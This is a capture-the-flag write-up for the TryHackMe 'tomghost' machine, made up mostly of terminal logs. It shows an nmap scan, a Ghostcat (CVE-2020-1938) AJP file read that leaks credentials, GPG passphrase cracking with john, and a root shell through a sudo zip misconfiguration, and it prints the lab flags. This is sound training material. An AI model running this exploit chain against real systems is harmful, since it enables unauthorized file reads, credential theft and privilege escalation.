tomghost
Identify recent vulnerabilities to try exploit the system or read files that you should not have access to.
💢 We will cover the topics​
- Network Enumeration
- CVE-2020-1938 - Apache Tomcat
- Brute Forcing (GPG)
- Misconfigured Binaries
Flags​
Are you able to complete the challenge? The machine may a take up to 5 minutes to boot and configure.
kali@kali:~/CTFs/tryhackme/tomghost$ sudo nmap -A -Pn -sC -sV -O 10.10.58.11
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-04 17:42 CEST
Nmap scan report for 10.10.58.11
Host is up (0.038s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/9.0.30
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/4%OT=22%CT=1%CU=36362%PV=Y%DS=2%DC=T%G=Y%TM=5F79ED7
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=102%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST1
OS:1NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN
OS:(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 37.71 ms 10.8.0.1
2 37.69 ms 10.10.58.11
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.80 seconds
kali@kali:~/CTFs/tryhackme/tomghost$ python3 ajpShooter.py http://10.10.58.11:8080/ 8009 /WEB-INF/web.xml read
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
</web-app>
kali@kali:~/CTFs/tryhackme/tomghost$ gpg2john tryhackme.asc > tryhackme.hash
File tryhackme.asc
kali@kali:~/CTFs/tryhackme/tomghost$ john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru (tryhackme)
1g 0:00:00:00 DONE (2020-10-04 17:55) 7.692g/s 8246p/s 8246c/s 8246C/s chinita..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kali@kali:~/CTFs/tryhackme/tomghost$ gpg --import tryhackme.asc
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key 8F3DA3DEC6707170: secret key imported
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg: imported: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
kali@kali:~/CTFs/tryhackme/tomghost$ gpg --decrypt credential.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
"tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 31%)
# whoami
root
# cd /root
# cat root.txt
THM{Z1P_1S_FAKE}
#
- Compromise this machine and obtain user.txt
THM{GhostCat_1s_so_cr4sy}
- Escalate privileges and obtain root.txt
THM{Z1P_1S_FAKE}